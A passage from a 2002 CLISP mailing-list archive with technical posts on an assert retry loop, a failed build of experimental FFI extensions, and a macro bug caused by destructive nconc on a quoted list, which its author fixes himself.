f20f22/iD6pCeob2B7iNjHyq5IM+i6zDQCBzF/lCxvWuErsfDu6p00d7QfGWlVJLJsn0PVXkG1NJ yZh7YtmSkjYIrWqTFb5DtEH6RS2cBnAG7uZnzveNjQ1GWl7DY/zHXzD+w5rDH5YDfHf+T3Wz+vxH k//zbIvzf//2w4+P+T//g085S/PBgmQxMRdKAU4x4SelhB9O9SmrNkaloV+YC+120xnGbKcDK5wT JdA4vd6A1kdSGTwZW+85BJwr4oqwwNsKjDOdDwZs6iQz7H445QryFNVAUbHKJKvXXOHXnSfDmSyE BFR2iQ7MZuPBSbO/lBZzj3/51rnHVh7xvenHuOnkoyxK88zzSZ9bi5LPuZ3GawumiApfLATD4KGS SPKA2VuN8RYZRBwJ97ZfuiMrFlMty5TYiDYoan196rWjnoAFzcUZPUoW7Wz66tMniirOnvhqV4HR H6uaGoDYiLfVZXpJLz1/u8QZk+L4gw3pDK76AJk7Vxffm3eb+E4W2xlGt+l85kl/AxaVlCZBlcxU zB+l3xdbREMARHJGmpkHui3K6zVuK77SHXUjMR56DBoaFZcnnuch8FPf7rBKt+MZ6BAlxc6Owl36 SJjU59iFDhY28c48ys/u9JJJbxj7QdvfhpNYOwXjrh3uH7b2m4019Iy1FTaP2RWGJcF4e812KI0D 2btBcjOej9zZ+DR7G0L7Ij4DBPYIiynAP3xB15vccIAMdcISJ/ip0cYbIG/lS804RYzR8iW7ZrzA ZESrejT+bQKZwIqeQVldczVViTiJ4PB3XhgLFI1ovlTqATZSLMrL17vSs3hSJhanD0oXubSTeNgv mAPxty8yk8/wr4tRJlj9xbNOMnAOfDFhR8gHZqZPAXsEFgRzKsQiOFKJOAbl3E/RRhVEBzRDy6Qz kJ6ejgDqDMTBYs/MDzbzZEW1VXdU1k0fCxMgHPJL8wTfwSEPrjo0GfjsqGVYgCsAhe9CSsJy4W1i FrQuVyFcPlBGTS5jWNKcSJnmZeGwOYolnYjtUSd3DNa5iDNPOxgyGPVibxFGAHsoR2pTk2SywjvD FFPM1xyBJkr7QAISsW2AFclx4ubST1xjJC2pLVa/S3tUGupW46UhpJ7+WzuYZcihZnTGIG+quBMw yW01uuqQH2AH+ObnUumraxl81LxLSyjNxLfEyvkoxGVEmHm/TaRiZAQJGJAP8QctBgKRFLR9p9GU gtRgVMotG07pbwWJvZz59R0czomFHOvXbL+sWin7Uq3cYhPnWnPYPhu998gGaXS/eODmvfloPtQg rQGKWtkw88MQW8lgrYOFEmbffZQkOSAgS7TwYWXgozBEsyGCc5RLp60qdjQXMDDUvaa4rYEW5Jo1 v0Gqns4pFmaYMU7+Kw1SCpoM9a1/v99g8HcvxN1PWUe+l3M8OI3FPRz2RvlNCVzYAhn3yH2hXuTh aVttcZjF4/+MDeWAD94e148O9zv1Vqv+1puls2jYmcAJBOQryda0ngP8/VpYXfved5UNjRWGQ3r0 3Ne6hQV/PY9BsI+wuaFHFaDzLwtRhQUE+uIQYEezqIVRc7Nat/Fcn90iQhnoNlIFLiwWuioGNVHm lElft2WQH/OzIzAXRWR+ICSMeBhHU1aHUbWMo8nwtmTrP67c1XPeZOXgI4DgeCzmQejCm4/fE6sa XIKyy8j/cEGsjGQRRYfjHo3Y1aoB/wkU+EJrY0R9kBCngAvQKvWRZEmR4YtLkuh3wVomp90lXmLN loI2D5Xmi7h0r0i3DIKvkOibmQbGqXi7IuOs1fCBOnIHP/IVJ03LdZ9vaoGsPYMgLOHIPQIWVGlY Tx4alIkk+P0zK9bLdrHs/HEA0n7B1nbL5w4mpEaO1T6viMoKAUSpLESboamCB8qU3bJEZwdGmeC/ PBXRHymTSUO7l61Go7OM1fnbf2a9m8fP4+fx8/h5/PDnv2Y32fkAeAAA ------_=_NextPart_000_01C1E794.6341FE90-- From lin8080@freenet.de Fri Apr 19 08:52:38 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16yage-0003Hi-00 for ; Fri, 19 Apr 2002 08:52:37 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16yagb-0000tD-00 for clisp-list@lists.sourceforge.net; Fri, 19 Apr 2002 17:52:33 +0200 Received: from b77bc.pppool.de ([213.7.119.188] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16yaga-0002WV-00 for clisp-list@lists.sourceforge.net; Fri, 19 Apr 2002 17:52:32 +0200 Message-ID: <3CBF6CF6.9E9DFCD1@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop References: <3CBE42C0.4389D81A@freenet.de> <15550.31734.554560.970867@wh2-19.st.uni-magdeburg.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 19 08:53:19 2002 X-Original-Date: Fri, 19 Apr 2002 03:03:50 +0200 Claudio Bley schrieb: > > "lin8080" == lin8080 writes: > lin8080> With clisp-2.28 on win98: > OK, but what about: clisp -x '(assert (>= -1 0))' ??? > On Linux i686, GNU CLISP 2.28 it indeed creates an endless loop: > WARNING: > (>= -1 0) must evaluate to a non-NIL value. > Retry > WARNING: > (>= -1 0) must evaluate to a non-NIL value. > Retry > ... Would you type in 100x Retry? How should the Interpreter react? This endloss loop is more from the user than from the system. The System says what the analyse returned, it expects a non-nil value. Or should it make 0.99999... or something like that? All you can do is: after 3. retry the Interpreter will close and diapear form the user-screen :) 1. Break [47]> :bl Enter the limit for max. frames to print or ':all' for all: 15 EVAL frame for form (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))) EVAL frame for form (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))) EVAL frame for form (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))) ) EVAL frame for form (RETURN-FROM #:G1754 (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))))) EVAL frame for form (LET* ((SYSTEM::*ACTIVE-RESTARTS* (LIST* (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755 SYSTEM::ARGUMENTS) (GO #:G1753)) :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE #'(LAMBDA NIL (APPEND))) SYSTEM::*ACTIVE-RESTARTS*))) (RETURN-FROM #:G1754 (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))))) #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755))) EVAL frame for form (LET (#:G1755) (TAGBODY (LET* ((SYSTEM::*ACTIVE-RESTARTS* (LIST* (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755 SYSTEM::ARGUMENTS) (GO #:G1753)) :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE #'(LAMBDA NIL (APPEND))) SYSTEM::*ACTIVE-RESTARTS*))) (RETURN-FROM #:G1754 (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))))) #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755)))) EVAL frame for form (BLOCK #:G1754 (LET (#:G1755) (TAGBODY (LET* ((SYSTEM::*ACTIVE-RESTARTS* (LIST* (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755 SYSTEM::ARGUMENTS) (GO #:G1753)) :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE #'(LAMBDA NIL (APPEND))) SYSTEM::*ACTIVE-RESTARTS*))) (RETURN-FROM #:G1754 (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))))) #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755))))) EVAL frame for form (RESTART-CASE (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))) (CONTINUE :REPORT SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE (LAMBDA NIL (APPEND)) NIL)) EVAL frame for form (TAGBODY #:G1748 (WHEN (>= -1 0) (GO #:G1749)) (RESTART-CASE (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))) (CONTINUE :REPORT SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE (LAMBDA NIL (APPEND)) NIL)) (GO #:G1748) #:G1749) EVAL frame for form (ASSERT (>= -1 0)) EVAL frame for form (LOAD "asit~1.lis") Printed 10 frames 1. Break [47]> (>=) The value of >= is true if the numbers are in monotonically nonincreasing order; otherwise it is false. (assert) returns nil, the first arg is a predicate (requiered), if this evaluates to nil, assert signals an error. (>= -1 0) is NIL. [60]> (assert) *** - The macro ASSERT may not be called with 0 arguments: (ASSERT) -HyperSpec--says- assert assures that test-form evaluates to true. If test-form evaluates to false, assert signals a correctable error (denoted by datum and arguments). Continuing from this error using the continue restart makes it possible for the user to alter the values of the places before assert evaluates test-form again. If the value of test-form is non-nil, assert returns nil. The places are generalized references to data upon which test-form depends, whose values can be changed by the user in attempting to correct the error. Subforms of each place are only evaluated if an error is signaled, and might be re-evaluated if the error is re-signaled (after continuing without actually fixing the problem). The order of evaluation of the places is not specified; see Section 5.1.1.1 (Evaluation of Subforms to Places). If a place form is supplied that produces more values than there are store variables, the extra values are ignored. If the supplied form produces fewer values than there are store variables, the missing values are set to nil. ... The debugger need not include the test-form in the error message, and the places should not be included in the message, but they should be made available for the user's perusal. If the user gives the ``continue'' command, the values of any of the references can be altered. The details of this depend on the implementation's style of user interface. see Hyperspec/../Issues/iss016-writeup.html stefan *The merciful LISP interpreter grants the programmer parole, not the death penalty, from assertion failures. S.Slade From peter.wood@worldonline.dk Fri Apr 19 16:25:12 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16yhkc-0008WI-00 for ; Fri, 19 Apr 2002 16:25:11 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 72FF6B5A7 for ; Sat, 20 Apr 2002 01:25:07 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3JNBh310035; Sat, 20 Apr 2002 01:11:43 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI extensions - work in progress - you may try it out! Message-ID: <20020420011143.A9993@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Fri, Apr 19, 2002 at 01:21:44PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 19 16:26:02 2002 X-Original-Date: Sat, 20 Apr 2002 01:11:43 +0200 On Fri, Apr 19, 2002 at 01:21:44PM +0200, Hoehle, Joerg-Cyril wrote: > Hi, > > here is my current set of FFI extensions, which is IMHO taking shape. > To try this out, you'll need > o a fairly recent CLISP, better from CVS, since I fixed some bugs > o probably the dynload module? > o to be able to compile CLISP from sources > o add to modules.h: MODULE(ffimext) > > o to walk through the code, esp. ffilext.lisp... > Hi, Thanks, Joerg. Unfortunately, I seem to be missing something: bash-2.04$ grep -e 'mark_invalid_foreign' clisp/src/*.d clisp/src/ffimext.d:# LISPFUNN(mark_invalid_foreign,1) clisp/src/ffimext.d:# LISPFUNN(mark_invalid_foreign,1) clisp/src/ffimext.d:# LISPSYM(mark_invalid_foreign,"MARK-INVALID-FOREIGN",ffi) Ie, mark_invalid_foreign seems to be missing (undefined). Indeed, when I try to compile, everything goes beautifully, but... In file included from ffimext.d:4: lispbibl.d: At top level: lispbibl.d:7097: warning: register used for two global register variables ffimext.d: In function `C_mark_invalid_foreign': ffimext.d:15: warning: implicit declaration of function `Hack_mark_invalid_foreign' ffimext.d: In function `C_complex_malloc': ffimext.d:16: warning: implicit declaration of function `Hack_complex_malloc' ffimext.d: In function `C_exec_with_stack1': ffimext.d:17: warning: implicit declaration of function `Hack_exec_with_stack1' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none sysdll.o spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o dynload.o ffimext.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurses -ldl -o lisp.run ffimext.o: In function `C_mark_invalid_foreign': ffimext.o(.text+0x4): undefined reference to `Hack_mark_invalid_foreign' collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 If you look at the '.o' files, I think you'll agree that I am linking in everything I ought to be, previous to ffimext.o. Alternatively, maybe I have forgotten something ... :-) Perhaps I have not understood how I am supposed to build/prepare ffimext.o? I have a patch for configure and makemake.in which autocreate rules for building the extensions which you have posted to the list. Once this mark_invalid_foreign problem sorted out, I will post the patch to the list, and hopefully more people will be able to build and report back. I am using cvs Clisp (downloaded Friday evening, CET), and sysdll-1.7.c, sysdll-1.3.h, and dynload.d. Regards, Peter From peter.wood@worldonline.dk Sat Apr 20 23:15:48 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zAdW-0001Ti-00 for ; Sat, 20 Apr 2002 23:15:47 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id AA3CDB4D6 for ; Sun, 21 Apr 2002 08:15:42 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3L61qP00217 for clisp-list@lists.sourceforge.net; Sun, 21 Apr 2002 08:01:52 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c Message-ID: <20020421080152.A184@localhost.localdomain> References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> <20020417151832.A132@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 17, 2002 at 01:26:05PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 20 23:16:02 2002 X-Original-Date: Sun, 21 Apr 2002 08:01:52 +0200 Hi, On Wed, Apr 17, 2002 at 01:26:05PM -0400, Sam Steingold wrote: > what is wrong with CMUCL? > I thought it was great! You no longer do? Regards, Peter From smk@users.sourceforge.net Sun Apr 21 03:47:59 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zEsv-0005c3-00 for ; Sun, 21 Apr 2002 03:47:58 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16zEss-0003zE-00; Sun, 21 Apr 2002 12:47:54 +0200 Received: from ae3ea.pppool.de ([213.6.227.234] helo=users.sourceforge.net) by mx3.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16zEsq-0006Px-00; Sun, 21 Apr 2002 12:47:53 +0200 Message-ID: <3CC29933.86589D4@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list CC: Sam Steingold Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] strange macroexpansion...[long mail! But a real mindbuster!] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 21 03:48:03 2002 X-Original-Date: Sun, 21 Apr 2002 12:49:23 +0200 Hi, Originally I just wanted to test, if CLISP is able to compile case- forms efficiently. (With jump-tables instead of nested if-then-else or cond) I have written the following macro which generates a test function. The strange thing is, if you expand the macro multiple times with the same parameters, the resulting form grows and grows and.... Can you find the bug, or is there a bug in the macro-expansion? Or is it evil to generate (DEFUN ... ) - forms via DEFMACRO? What am I missing? (defmacro generate-test (fun-name (num-case chosen-case num-iter)) "fun-name: name of the generated function num-case: number of case-alternatives chosen-case: the case that is always chosen num-iter: number of iterations (for better time-measurement))" `(defun ,fun-name () (declare (special *bla*)) (progn (setf *bla* 0) (let ((i ,chosen-case)) ,`(loop for j from 1 to ,num-iter do ,(nconc '(case i) (loop for k from 1 to num-case collect `((,k) (setf *bla* (+ ,k j)))))))) *bla*)) let's expand this macro: [1]> (macroexpand-1 '(generate-test test-case (10 10 10000))) (DEFUN TEST-CASE NIL (DECLARE (SPECIAL *BLA*)) (PROGN (SETF *BLA* 0) (LET ((I 10)) (LOOP FOR J FROM 1 TO 10000 DO (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))))))) *BLA*) ; T OK, the point I wanted to show originally is that if you increase the number of case-forms and in the loop always choose the last case-form, the time-complexity should remain constant during runtime. For a slow if-then-else-implementation, the computation-time should grow proportional to the number of case-forms. In short, I planned to do this: (generate-test test-case-10 (10 10 10000)) and run the resulting test-case-10 (generate-test test-case-100 (100 100 10000)) and run the resulting test-case-100 (generate-test test-case-1000 (1000 1000 10000)) and run the resulting test-case-10 (generate-test test-case-10000 (10000 100000 10000)) and run the resulting test-case-10 etc. the runtime should remain constant for each function-call. I did not arrive at that due to some really weird expansion behaviour. Look what happens, if I expand the macro-call multiple times with the _SAME_ parameters in the interactive loop: First time: (as above) [1]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000))) (DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*)) (PROGN (SETF *BLA* 0) (LET ((I 10)) (LOOP FOR J FROM 1 TO 10000 DO (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))))))) *BLA*) ; T Second time: [2]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000))) (DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*)) (PROGN (SETF *BLA* 0) (LET ((I 10)) (LOOP FOR J FROM 1 TO 10000 DO (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))))))) *BLA*) ; T n-th time: [11]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000))) (DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*)) (PROGN (SETF *BLA* 0) (LET ((I 10)) (LOOP FOR J FROM 1 TO 10000 DO (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ........ ...... ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))))))) *BLA*) ; T Hmmm, if I reevaluate the (defmacro...) form again and then expand it again, everything is fine again... [14]> (defmacro generate-test (fun-name (num-case chosen-case num-iter)) ....... bla bla ....bla GENERATE-TEST [15]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000))) (DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*)) (PROGN (SETF *BLA* 0) (LET ((I 10)) (LOOP FOR J FROM 1 TO 10000 DO (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J))))))) *BLA*) ; T Help!!!!!!! :-) BTW, CLISP seems to compile case-forms efficiently via jump-table. (if I reevaluate the (defmacro ...) everything works as expected): [16-23] repetition of (defmacro...) (generate-test...) ... then: [24]> (compile 'test-case-10) TEST-CASE-10 ; NIL ; NIL [25]> (compile 'test-case-100) TEST-CASE-100 ; NIL ; NIL [26]> (compile 'test-case-1000) TEST-CASE-1000 ; NIL ; NIL [27]> (compile 'test-case-10000) TEST-CASE-10000 ; NIL ; NIL [28]> (test-case-10) | Each call needs the same amount of time 10010 | [29]> (test-case-100) | -"- 10100 | [30]> (test-case-1000) | -"- 11000 | [31]> (test-case-10000) | -"- 20000 You can see the jump-table via (disassemble 'test-case-...). But this macroexpansion is really strange... P.S. It is irrelevant if you supply the same parameters every time. The list of case-forms grows each macroexpansion-time, no matter what arguments you supply. Bye, Stefan From smk@users.sourceforge.net Sun Apr 21 03:56:22 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zF12-0006qS-00 for ; Sun, 21 Apr 2002 03:56:20 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16zF10-00058g-00; Sun, 21 Apr 2002 12:56:18 +0200 Received: from ae3ea.pppool.de ([213.6.227.234] helo=users.sourceforge.net) by mx3.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16zF0z-0004IS-00; Sun, 21 Apr 2002 12:56:18 +0200 Message-ID: <3CC29B31.6B77B211@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list , Sam Steingold References: <3CC29933.86589D4@users.sourceforge.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] typo: Re: strange macroexpansion...[long mail! But a real mindbuster!] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 21 03:57:01 2002 X-Original-Date: Sun, 21 Apr 2002 12:57:53 +0200 Hi, damn typos... Stefan Kain wanted to write: ;-) > In short, I planned to do this: > (generate-test test-case-10 (10 10 10000)) > and run the resulting test-case-10 > > (generate-test test-case-100 (100 100 10000)) > and run the resulting test-case-100 > > (generate-test test-case-1000 (1000 1000 10000)) > and run the resulting test-case-1000 > > (generate-test test-case-10000 (10000 10000 10000)) > and run the resulting test-case-10000 From smk@users.sourceforge.net Sun Apr 21 04:21:15 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zFP7-00013E-00 for ; Sun, 21 Apr 2002 04:21:13 -0700 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16zFP4-0003dQ-00 for clisp-list@lists.sourceforge.net; Sun, 21 Apr 2002 13:21:10 +0200 Received: from ae3ea.pppool.de ([213.6.227.234] helo=users.sourceforge.net) by mx1.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16zFP4-0006aq-00 for clisp-list@lists.sourceforge.net; Sun, 21 Apr 2002 13:21:10 +0200 Message-ID: <3CC2A106.B82D641A@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list References: <3CC29933.86589D4@users.sourceforge.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] strange macroexpansion... sigh... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 21 04:22:02 2002 X-Original-Date: Sun, 21 Apr 2002 13:22:46 +0200 Well, ahem, I have found the culprit. He is sitting right in front of the screen... Stefan Kain wrote: > (defmacro generate-test (fun-name (num-case chosen-case num-iter)) > "fun-name: name of the generated function > num-case: number of case-alternatives > chosen-case: the case that is always chosen > num-iter: number of iterations (for better time-measurement))" > `(defun ,fun-name () > (declare (special *bla*)) > (progn > (setf *bla* 0) > (let ((i ,chosen-case)) > ,`(loop for j from 1 to ,num-iter do > ,(nconc ^^^^^^^ !!!!!!!!!!!!!! "append" is your friend... Now each macroexpansion of generate-test works without "side-effect"... Aftermath: Beware of destructive operations!! (As usual, I used nconc in order to save a few conses... (How stupid)) This springs to my mind: "Premature optimisation is the root of all evil..." :-) Sorry for bothering the mailing list. Bye, Stefan From samuel.steingold@verizon.net Sun Apr 21 10:06:05 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zKmq-0006zH-00 for ; Sun, 21 Apr 2002 10:06:04 -0700 Received: from gnu.org ([151.203.30.83]) by 